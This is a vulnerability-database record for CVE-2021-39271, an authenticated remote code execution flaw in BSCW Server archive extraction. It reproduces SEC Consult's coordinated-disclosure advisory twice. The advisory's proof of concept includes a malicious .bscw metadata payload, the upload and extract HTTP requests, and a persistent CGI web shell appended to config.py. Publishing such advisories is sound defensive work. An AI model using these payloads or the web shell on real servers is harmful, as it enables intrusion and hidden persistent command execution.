OrbiTeam BSCW Classic before 7.4.3 allows authenticated remote code execution (RCE) during archive extraction via attacker-supplied Python code in the class attribute of a .bscw file. This is fixed in 5.0.12, 5.1.10, 5.2.4, 7.3.3, and 7.4.3.
{"zdt": [{"lastseen": "2021-12-04T15:51:17", "description": "BSCW Server versions 7.4.2 and below, 7.3.2 and below, 5.2.3 and below, 5.1.9 and below, and 5.0.11 and below suffer from an authenticated remote code execution vulnerability.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-31T00:00:00", "type": "zdt", "title": "BSCW Server Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-39271"], "modified": "2021-08-31T00:00:00", "id": "1337DAY-ID-36693", "href": "https://0day.today/exploit/description/36693", "sourceData": "=======================================================================\n title: Authenticated RCE\n product: BSCW Server\n vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2\n fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3\n CVE number: CVE-2021-39271\n impact: high\n homepage: https://www.bscw.de/classic/\n found: 2021-06-30\n by: Armin Stock (Atos Germany)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos company\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"A versatile system for any field of application\n\nBSCW Classic is in use around the world. With more than 500 functions, it\noffers the right solution for every task. Turn your ideas into reality! Our\nproven system has been supporting information flow and knowledge management at\nnumerous companies for more than 20 years.\"\n\nSource: https://www.bscw.de/en/classic/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patched version for the affected products which should\nbe installed immediately.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Authenticated RCE\nThe application allows a user with low privileges to upload different kind of\narchives (`ZIP`, `tar`, `RFC822`) and extract them on the server. During the\nextraction process a special file (`.bscw`) is processed to attach metadata to\nthe files created during extraction. This metadata file contains an attribute\n(`class`), which is later used to instantiate a class/call a function to\ncreate the desired object. As there is no allow-list implemented to limit\nthe class/function which can be called, it is possible to call an\narbitrary `Python` function. During the function call there are two\nparameters provided, where the first is controlled by the attacker\n(a element from the metadata file: `bscw:name`).\n\n\nProof of concept:\n-----------------\n1) Authenticated RCE\nThe first step is to create an archive with a malicious `.bscw` file.\n$ zip ../data.zip ./.bscw ./*\n\n-------------------------------------------------------------------------------\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE bscwarc SYSTEM \"http://bscw.de/bscw/bscwarc.dtd\">\n<bscwarc id=\"local.bscw:80H.sec\" server=\"http://bscw.local\" timestamp=\"20210630T123242Z\" pathsep=\"\\\\\">\n <metadata xmlns:bscw_doc=\"http://bscw.de/bscw/elements/0.1/doc/\" xmlns:bscw=\"http://bscw.de/bscw/elements/0.1/\" >\n <obj ctime=\"1624530343.92\" creator=\"admin\" id=\"214\" mtime=\"1625049949.51\" path=\"Its_me.txt\" type=\"text/html; charset=UTF-8\" class=\"<CLASS/FUNCTION to call>\" >\n <bscw:description></bscw:description>\n <bscw_doc:mimetype>HTML Document</bscw_doc:mimetype>\n <bscw:name>CONTENT OF FIRST PARAMTER</bscw:name>\n </obj>\n </metadata>\n</bscwarc>\n-------------------------------------------------------------------------------\n\nThen the archive can be uploaded to a folder (OID: 267), where the user\nhas write access to:\n-------------------------------------------------------------------------------\nPUT /sec/bscw.cgi/267/data.zip HTTP/1.1\nHost: bscw.local:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/zip\nContent-Length: 1559\nDNT: 1\nConnection: close\nCookie: bscw_auth=\"<USER_AUTH_COOKIE>\"\n\nPK.....\n-------------------------------------------------------------------------------\n\nAfter uploading the archive the `extract` operation can be called for the new\ncreated file object (OID: 1179):\n-------------------------------------------------------------------------------\nGET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1\nHost: bscw.local:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nReferer: http://bscw.local:8080/sec/bscw.cgi/267\nCookie: bscw_auth=\"<USER_AUTH_COOKIE>\"\nUpgrade-Insecure-Requests: 1\n-------------------------------------------------------------------------------\n\nDuring the extraction the function from the `class` attribute is located\nand called.\n-------------------------------------------------------------------------------\n# File: bs_extract.py\n\ndef createArtifact(self, request, tree, user, target=None):\n \"\"\"create artifact for user and add to target\n returns tuple (artifact, oldid) - or (None, None)\n \"\"\"\n\n # ....\n\n # Locating the class/function\n # klass = metadata 'class' attribute\n klass_tuple = klass.split('.')\n klass_name = klass_tuple[(-1)]\n klass_modul = ('.').join(klass_tuple[:-1])\n try:\n modul = __import__('bscw').module(klass_modul)\n except ImportError as ie:\n log_arc.warning('ImportError: %s ', str(ie))\n klass = 'bscw.core.cl_folder.Folder'\n modul = None\n\n if modul and hasattr(modul, klass_name):\n constructor = getattr(modul, klass_name)\n else:\n constructor = None\n \n # ....\n\n # Large if else construct for handling different known classes\n if klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in FOLDER_CLASSES:\n log_arc.debug('createArtifact: create Folder (for %s)', klass_name)\n lname = legalized_name(Folder, name)\n\n # ...\n\n # If klass is unknown the following code is executed\n # name = metadata object element 'bscw:name'\n # user = <bscw.core.cl_user.User>(logged in user)\n if constructor:\n assert callable(constructor), 'artifact constructor is callable'\n try:\n artifact = constructor(name, user)\n lname = artifact.set_name(name, autolegalize=True)\n except Exception as e:\n return self.failed(klass, e, fname=fname)\n-------------------------------------------------------------------------------\n\nTo exploit this code we need a function which can be invoked like:\n`GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)`.\nFortunately `BSCW Classic` requires `Python 2.X`, which has the function\n`os.popen2`.\n-------------------------------------------------------------------------------\nos.popen2(cmd[, mode[, bufsize]])\n\n Execute cmd as a sub-process and return the file objects\n (child_stdin, child_stdout).\n\n Deprecated since version 2.6: This function is obsolete. Use the subprocess\n module. Check especially the Replacing Older Functions with the subprocess\n Module section.\n\n Availability: Unix, Windows.\n\n New in version 2.0.\n-------------------------------------------------------------------------------\n\nThe first parameter is the command line which is executed in a shell context.\nThe second parameter is `mode` which should be `\"w\"` or `\"r\"`, but it falls\nback to the default if the type is not correct (in contrary to `os.popen`).\n-------------------------------------------------------------------------------\nPython 2.7.18 (default, Apr 28 2021, 17:39:59)\n[GCC 10.2.1 20210110] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import os\n>>> os.popen(\"whoami\", dict())\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: popen() argument 2 must be string, not dict\n>>> os.popen2(\"whoami\", dict())\n(<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>, <open file '<fdopen>', mode 'rb' at 0x7ff98f42c660>)\n>>> \n-------------------------------------------------------------------------------\n\nProviding `os.popen2` as value of the `class` attribute and\n`touch /tmp/foobar_poc.txt` as the value `bscw:name` element, the following\ncode is executed:\n-------------------------------------------------------------------------------\nos.popen2(\"touch /tmp/foobar_poc.txt\", bscw.core.cl_user.User(\"UID\"))\n-------------------------------------------------------------------------------\nwhich creates the PoC file:\n\n-------------------------------------------------------------------------------\n[email\u00a0protected]:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc*\n-rw-rw---- 1 www-data bscw 0 Jul 3 07:43 /tmp/foobar_poc.txt\n-------------------------------------------------------------------------------\n\nBut currently this is a blind RCE, because the result of the call is assigned\nto `artiface` and the method `.set_name` is called on the returned `tuple`\n(see above code).\n\nThe extraction generates the following log entries:\n-------------------------------------------------------------------------------\n2021-06-24 14:33:53 cl_artifact on_archive_import 2464 DEBUG Artifact.on_archive_import(): bscw.core.cl_document.Document#1142\n2021-06-24 14:33:53 bs_extract createArtifact 80 DEBUG createArtifact for node: ArchiveNode[#3]<touch /tmp/foobar.txt> path= childs=0\n2021-06-24 14:33:53 bs_extract createArtifact 110 DEBUG createArtifact() node without file/folder: 'touch /tmp/foobar.txt'\n2021-06-24 14:33:53 bs_extract createArtifact 134 DEBUG createArtifact xml:True isdir:True => klass=os.popen2\n2021-06-24 14:33:53 bs_extract createArtifact 178 DEBUG createArtifact: <os.popen2> 'touch /tmp/foobar.txt'\n2021-06-24 14:33:53 bs_extract createArtifact 197 DEBUG createArtifact: kmodul=os kname=popen2 modul=<module 'os' from '/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at 0x7f12e7df1950>\n2021-06-24 14:33:53 bs_extract failed 366 ERROR createArtifact: \"os.popen2\" failed: 'tuple' object has no attribute 'set_name' (touch /tmp/foobar.txt)\n-------------------------------------------------------------------------------\n\nSimple persistent shell (CGI mode)\n\n\nTo allow the attacker to execute commands and get the output of it, the file\n`<bscw_install>/conf/config.py` can be overwritten.\n\nThe initial permissions of this file look like (user: `bscw`, group: `bscw`):\n-------------------------------------------------------------------------------\n[email\u00a0protected]:/opt/bscw/srv/bscw.local# ls -la conf/config.py\n-rw-rw---- 1 bscw bscw 83899 Jul 3 10:50 conf/config.py\n-------------------------------------------------------------------------------\n\nIn the normal setup, Apache is used to run the `bscw.cgi` script as its own\nuser `www-data`. But fortunately the `bscw.cgi` binary has the `SGID` flag set,\nwhich sets the `effective GID` to `bscw`. This allows us to overwrite this\nfile.\n-------------------------------------------------------------------------------\n[email\u00a0protected]:/opt/bscw/srv/bscw.local# ls -la var/www/bscw.cgi\n-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi\n-------------------------------------------------------------------------------\n\nThe following simple shell can be installed on the system:\n-------------------------------------------------------------------------------\nimport os\ne_key = os.environ.get(\"HTTP_BSCW_K\", \"\")\ne_cmd = os.environ.get(\"HTTP_BSCW_C\", \"\")\nif e_key == \"{KEY}\" and e_cmd:\n try:\n print \"Content-Type: text/plain\\n\"\n import sys, subprocess\n print subprocess.check_output(e_cmd.decode(\"base64\"), shell=True, stderr=subprocess.STDOUT)\n except Exception as e:\n print e\n sys.exit(0)\n-------------------------------------------------------------------------------\nThis can be done with the shown command:\n-------------------------------------------------------------------------------\necho \"<BASE64 encoded python shell code>\" | base64 -d >> ./conf/config.py\n-------------------------------------------------------------------------------\n\nAfter installing the shell, a simple HTTP request to the public endpoint can\nbe used to execute the command and get the output:\n-------------------------------------------------------------------------------\nGET /pub/bscw.cgi HTTP/1.1\nHost: bscw.local:8080\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\nBSCW-K: <KEY>\nBSCW-C: <@base64>ls -la<@/base64>\n-------------------------------------------------------------------------------\nThe response of the executed command \"ls -la\" is directly contained in the\nresponse of the web-server.\n-------------------------------------------------------------------------------\nHTTP/1.1 200 OK\nDate: Sat, 03 Jul 2021 13:13:10 GMT\nServer: Apache/2.4.41 (Ubuntu)\nVary: Accept-Encoding,User-Agent\nContent-Length: 806\nConnection: close\nContent-Type: text/plain\n\ntotal 96\ndrwxr-xr-x 1 bscw bscw 4096 Jul 3 08:41 .\ndrwxr-sr-x 1 bscw bscw 4096 Jun 18 22:07 ..\nlrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 20190717-1636-2b48861 -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources\ndrwxrws--x 4 bscw bscw 4096 Jun 18 22:07 auto\n-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi\n-rw-r--r-- 1 bscw bscw 2966 Jun 18 22:07 error401.html\n-rw-r--r-- 1 bscw bscw 9771 Jun 18 22:07 index.html.de\n-rw-r--r-- 1 bscw bscw 9586 Jun 18 22:07 index.html.en\n-rw-r--r-- 1 bscw bscw 9765 Jun 18 22:07 index.html.es\n-rw-r--r-- 1 bscw bscw 9791 Jun 18 22:07 index.html.fr\n-rw-r--r-- 1 bscw bscw 102 Jun 18 22:07 robots.txt\nlrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 static -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources\n-------------------------------------------------------------------------------\n\n\nVulnerable / tested versions:\n-----------------------------\nBSCW Classic 5.2.3 was used to find the vulnerability.\nThe vendor confirmed that following versions also affected by the vulnerability\n\nBSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2\n", "sourceHref": "https://0day.today/exploit/36693", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-08-31T21:42:09", "description": "", "cvss3": {}, "published": "2021-08-31T00:00:00", "type": "packetstorm", "title": "BSCW Server Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-39271"], "modified": "2021-08-31T00:00:00", "id": "PACKETSTORM:163989", "href": "https://packetstormsecurity.com/files/163989/BSCW-Server-Remote-Code-Execution.html", "sourceData": "`SEC Consult Vulnerability Lab Security Advisory < 20210827-0 > \n======================================================================= \ntitle: Authenticated RCE \nproduct: BSCW Server \nvulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 \nfixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3 \nCVE number: CVE-2021-39271 \nimpact: high \nhomepage: https://www.bscw.de/classic/ \nfound: 2021-06-30 \nby: Armin Stock (Atos Germany) \nSEC Consult Vulnerability Lab \n \nAn integrated part of SEC Consult, an Atos company \nEurope | Asia | North America \n \nhttps://www.sec-consult.com \n \n======================================================================= \n \nVendor description: \n------------------- \n\"A versatile system for any field of application \n \nBSCW Classic is in use around the world. With more than 500 functions, it \noffers the right solution for every task. Turn your ideas into reality! Our \nproven system has been supporting information flow and knowledge management at \nnumerous companies for more than 20 years.\" \n \nSource: https://www.bscw.de/en/classic/ \n \n \nBusiness recommendation: \n------------------------ \nThe vendor provides a patched version for the affected products which should \nbe installed immediately. \n \n \nVulnerability overview/description: \n----------------------------------- \n1) Authenticated RCE \nThe application allows a user with low privileges to upload different kind of \narchives (`ZIP`, `tar`, `RFC822`) and extract them on the server. During the \nextraction process a special file (`.bscw`) is processed to attach metadata to \nthe files created during extraction. This metadata file contains an attribute \n(`class`), which is later used to instantiate a class/call a function to \ncreate the desired object. As there is no allow-list implemented to limit \nthe class/function which can be called, it is possible to call an \narbitrary `Python` function. During the function call there are two \nparameters provided, where the first is controlled by the attacker \n(a element from the metadata file: `bscw:name`). \n \n \nProof of concept: \n----------------- \n1) Authenticated RCE \nThe first step is to create an archive with a malicious `.bscw` file. \n$ zip ../data.zip ./.bscw ./* \n \n------------------------------------------------------------------------------- \n<?xml version=\"1.0\" encoding=\"UTF-8\"?> \n<!DOCTYPE bscwarc SYSTEM \"http://bscw.de/bscw/bscwarc.dtd\"> \n<bscwarc id=\"local.bscw:80H.sec\" server=\"http://bscw.local\" timestamp=\"20210630T123242Z\" pathsep=\"\\\\\"> \n<metadata xmlns:bscw_doc=\"http://bscw.de/bscw/elements/0.1/doc/\" xmlns:bscw=\"http://bscw.de/bscw/elements/0.1/\" > \n<obj ctime=\"1624530343.92\" creator=\"admin\" id=\"214\" mtime=\"1625049949.51\" path=\"Its_me.txt\" type=\"text/html; charset=UTF-8\" class=\"<CLASS/FUNCTION to call>\" > \n<bscw:description></bscw:description> \n<bscw_doc:mimetype>HTML Document</bscw_doc:mimetype> \n<bscw:name>CONTENT OF FIRST PARAMTER</bscw:name> \n</obj> \n</metadata> \n</bscwarc> \n------------------------------------------------------------------------------- \n \nThen the archive can be uploaded to a folder (OID: 267), where the user \nhas write access to: \n------------------------------------------------------------------------------- \nPUT /sec/bscw.cgi/267/data.zip HTTP/1.1 \nHost: bscw.local:8080 \nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 \nAccept: */* \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nContent-Type: application/zip \nContent-Length: 1559 \nDNT: 1 \nConnection: close \nCookie: bscw_auth=\"<USER_AUTH_COOKIE>\" \n \nPK..... \n------------------------------------------------------------------------------- \n \nAfter uploading the archive the `extract` operation can be called for the new \ncreated file object (OID: 1179): \n------------------------------------------------------------------------------- \nGET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1 \nHost: bscw.local:8080 \nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nDNT: 1 \nConnection: close \nReferer: http://bscw.local:8080/sec/bscw.cgi/267 \nCookie: bscw_auth=\"<USER_AUTH_COOKIE>\" \nUpgrade-Insecure-Requests: 1 \n------------------------------------------------------------------------------- \n \nDuring the extraction the function from the `class` attribute is located \nand called. \n------------------------------------------------------------------------------- \n# File: bs_extract.py \n \ndef createArtifact(self, request, tree, user, target=None): \n\"\"\"create artifact for user and add to target \nreturns tuple (artifact, oldid) - or (None, None) \n\"\"\" \n \n# .... \n \n# Locating the class/function \n# klass = metadata 'class' attribute \nklass_tuple = klass.split('.') \nklass_name = klass_tuple[(-1)] \nklass_modul = ('.').join(klass_tuple[:-1]) \ntry: \nmodul = __import__('bscw').module(klass_modul) \nexcept ImportError as ie: \nlog_arc.warning('ImportError: %s ', str(ie)) \nklass = 'bscw.core.cl_folder.Folder' \nmodul = None \n \nif modul and hasattr(modul, klass_name): \nconstructor = getattr(modul, klass_name) \nelse: \nconstructor = None \n \n# .... \n \n# Large if else construct for handling different known classes \nif klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in FOLDER_CLASSES: \nlog_arc.debug('createArtifact: create Folder (for %s)', klass_name) \nlname = legalized_name(Folder, name) \n \n# ... \n \n# If klass is unknown the following code is executed \n# name = metadata object element 'bscw:name' \n# user = <bscw.core.cl_user.User>(logged in user) \nif constructor: \nassert callable(constructor), 'artifact constructor is callable' \ntry: \nartifact = constructor(name, user) \nlname = artifact.set_name(name, autolegalize=True) \nexcept Exception as e: \nreturn self.failed(klass, e, fname=fname) \n------------------------------------------------------------------------------- \n \nTo exploit this code we need a function which can be invoked like: \n`GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)`. \nFortunately `BSCW Classic` requires `Python 2.X`, which has the function \n`os.popen2`. \n------------------------------------------------------------------------------- \nos.popen2(cmd[, mode[, bufsize]]) \n \nExecute cmd as a sub-process and return the file objects \n(child_stdin, child_stdout). \n \nDeprecated since version 2.6: This function is obsolete. Use the subprocess \nmodule. Check especially the Replacing Older Functions with the subprocess \nModule section. \n \nAvailability: Unix, Windows. \n \nNew in version 2.0. \n------------------------------------------------------------------------------- \n \nThe first parameter is the command line which is executed in a shell context. \nThe second parameter is `mode` which should be `\"w\"` or `\"r\"`, but it falls \nback to the default if the type is not correct (in contrary to `os.popen`). \n------------------------------------------------------------------------------- \nPython 2.7.18 (default, Apr 28 2021, 17:39:59) \n[GCC 10.2.1 20210110] on linux2 \nType \"help\", \"copyright\", \"credits\" or \"license\" for more information. \n>>> import os \n>>> os.popen(\"whoami\", dict()) \nTraceback (most recent call last): \nFile \"<stdin>\", line 1, in <module> \nTypeError: popen() argument 2 must be string, not dict \n>>> os.popen2(\"whoami\", dict()) \n(<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>, <open file '<fdopen>', mode 'rb' at 0x7ff98f42c660>) \n>>> \n------------------------------------------------------------------------------- \n \nProviding `os.popen2` as value of the `class` attribute and \n`touch /tmp/foobar_poc.txt` as the value `bscw:name` element, the following \ncode is executed: \n------------------------------------------------------------------------------- \nos.popen2(\"touch /tmp/foobar_poc.txt\", bscw.core.cl_user.User(\"UID\")) \n------------------------------------------------------------------------------- \nwhich creates the PoC file: \n \n------------------------------------------------------------------------------- \nroot@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc* \n-rw-rw---- 1 www-data bscw 0 Jul 3 07:43 /tmp/foobar_poc.txt \n------------------------------------------------------------------------------- \n \nBut currently this is a blind RCE, because the result of the call is assigned \nto `artiface` and the method `.set_name` is called on the returned `tuple` \n(see above code). \n \nThe extraction generates the following log entries: \n------------------------------------------------------------------------------- \n2021-06-24 14:33:53 cl_artifact on_archive_import 2464 DEBUG Artifact.on_archive_import(): bscw.core.cl_document.Document#1142 \n2021-06-24 14:33:53 bs_extract createArtifact 80 DEBUG createArtifact for node: ArchiveNode[#3]<touch /tmp/foobar.txt> path= childs=0 \n2021-06-24 14:33:53 bs_extract createArtifact 110 DEBUG createArtifact() node without file/folder: 'touch /tmp/foobar.txt' \n2021-06-24 14:33:53 bs_extract createArtifact 134 DEBUG createArtifact xml:True isdir:True => klass=os.popen2 \n2021-06-24 14:33:53 bs_extract createArtifact 178 DEBUG createArtifact: <os.popen2> 'touch /tmp/foobar.txt' \n2021-06-24 14:33:53 bs_extract createArtifact 197 DEBUG createArtifact: kmodul=os kname=popen2 modul=<module 'os' from '/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at 0x7f12e7df1950> \n2021-06-24 14:33:53 bs_extract failed 366 ERROR createArtifact: \"os.popen2\" failed: 'tuple' object has no attribute 'set_name' (touch /tmp/foobar.txt) \n------------------------------------------------------------------------------- \n \nSimple persistent shell (CGI mode) \n \n \nTo allow the attacker to execute commands and get the output of it, the file \n`<bscw_install>/conf/config.py` can be overwritten. \n \nThe initial permissions of this file look like (user: `bscw`, group: `bscw`): \n------------------------------------------------------------------------------- \nroot@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la conf/config.py \n-rw-rw---- 1 bscw bscw 83899 Jul 3 10:50 conf/config.py \n------------------------------------------------------------------------------- \n \nIn the normal setup, Apache is used to run the `bscw.cgi` script as its own \nuser `www-data`. But fortunately the `bscw.cgi` binary has the `SGID` flag set, \nwhich sets the `effective GID` to `bscw`. This allows us to overwrite this \nfile. \n------------------------------------------------------------------------------- \nroot@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la var/www/bscw.cgi \n-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi \n------------------------------------------------------------------------------- \n \nThe following simple shell can be installed on the system: \n------------------------------------------------------------------------------- \nimport os \ne_key = os.environ.get(\"HTTP_BSCW_K\", \"\") \ne_cmd = os.environ.get(\"HTTP_BSCW_C\", \"\") \nif e_key == \"{KEY}\" and e_cmd: \ntry: \nprint \"Content-Type: text/plain\\n\" \nimport sys, subprocess \nprint subprocess.check_output(e_cmd.decode(\"base64\"), shell=True, stderr=subprocess.STDOUT) \nexcept Exception as e: \nprint e \nsys.exit(0) \n------------------------------------------------------------------------------- \nThis can be done with the shown command: \n------------------------------------------------------------------------------- \necho \"<BASE64 encoded python shell code>\" | base64 -d >> ./conf/config.py \n------------------------------------------------------------------------------- \n \nAfter installing the shell, a simple HTTP request to the public endpoint can \nbe used to execute the command and get the output: \n------------------------------------------------------------------------------- \nGET /pub/bscw.cgi HTTP/1.1 \nHost: bscw.local:8080 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nDNT: 1 \nConnection: close \nUpgrade-Insecure-Requests: 1 \nBSCW-K: <KEY> \nBSCW-C: <@base64>ls -la<@/base64> \n------------------------------------------------------------------------------- \nThe response of the executed command \"ls -la\" is directly contained in the \nresponse of the web-server. \n------------------------------------------------------------------------------- \nHTTP/1.1 200 OK \nDate: Sat, 03 Jul 2021 13:13:10 GMT \nServer: Apache/2.4.41 (Ubuntu) \nVary: Accept-Encoding,User-Agent \nContent-Length: 806 \nConnection: close \nContent-Type: text/plain \n \ntotal 96 \ndrwxr-xr-x 1 bscw bscw 4096 Jul 3 08:41 . \ndrwxr-sr-x 1 bscw bscw 4096 Jun 18 22:07 .. \nlrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 20190717-1636-2b48861 -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources \ndrwxrws--x 4 bscw bscw 4096 Jun 18 22:07 auto \n-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi \n-rw-r--r-- 1 bscw bscw 2966 Jun 18 22:07 error401.html \n-rw-r--r-- 1 bscw bscw 9771 Jun 18 22:07 index.html.de \n-rw-r--r-- 1 bscw bscw 9586 Jun 18 22:07 index.html.en \n-rw-r--r-- 1 bscw bscw 9765 Jun 18 22:07 index.html.es \n-rw-r--r-- 1 bscw bscw 9791 Jun 18 22:07 index.html.fr \n-rw-r--r-- 1 bscw bscw 102 Jun 18 22:07 robots.txt \nlrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 static -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources \n------------------------------------------------------------------------------- \n \n \nVulnerable / tested versions: \n----------------------------- \nBSCW Classic 5.2.3 was used to find the vulnerability. \nThe vendor confirmed that following versions also affected by the vulnerability \n \nBSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2 \n \n \nVendor contact timeline: \n------------------------ \n2021-07-03: Vendor contacted via security@, asked for a PGP Key / \nSMIME certificate to encrypt communication \n2021-07-06: Vendor contacted via support@, asked for a PGP Key / \nSMIME certificate to encrypt communication \n2021-07-06: Vendor provided contact and PGP Key, Sent report to vendor \n2021-07-06: Vendor confirmed the issue and is working on a patch \n2021-07-07: Vendor provided a hotfix \n2021-08-19: Vendor notified licenced customer about the issue and a patch \n2021-08-27: Coordinated release of security advisory. \n \n \nSolution: \n--------- \nThe vendor provides a patched version for the affected and supported products \nwhich should be installed immediately. \n \nAdditional information can be viewed at the vendor's support page: \n \nWorkaround: \n----------- \nNone \n \n \nAdvisory URL: \n------------- \nhttps://sec-consult.com/vulnerability-lab/ \n \n \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nSEC Consult Vulnerability Lab \n \nSEC Consult, an Atos company \nEurope | Asia | North America \n \nAbout SEC Consult Vulnerability Lab \nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an \nAtos company. It ensures the continued knowledge gain of SEC Consult in the \nfield of network and application security to stay ahead of the attacker. The \nSEC Consult Vulnerability Lab supports high-quality penetration testing and \nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities \nand valid recommendation about the risk profile of new technologies. \n \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \nInterested to work with the experts of SEC Consult? \nSend us your application https://sec-consult.com/career/ \n \nInterested in improving your cyber security with the experts of SEC Consult? \nContact our local offices https://sec-consult.com/contact/ \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nMail: research at sec-consult dot com \nWeb: https://www.sec-consult.com \nBlog: http://blog.sec-consult.com \nTwitter: https://twitter.com/sec_consult \n \nEOF Armin Stock / @2021 \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/163989/SA-20210827-0.txt", "cvss": {"score": 0.0, "vector": "NONE"}}]}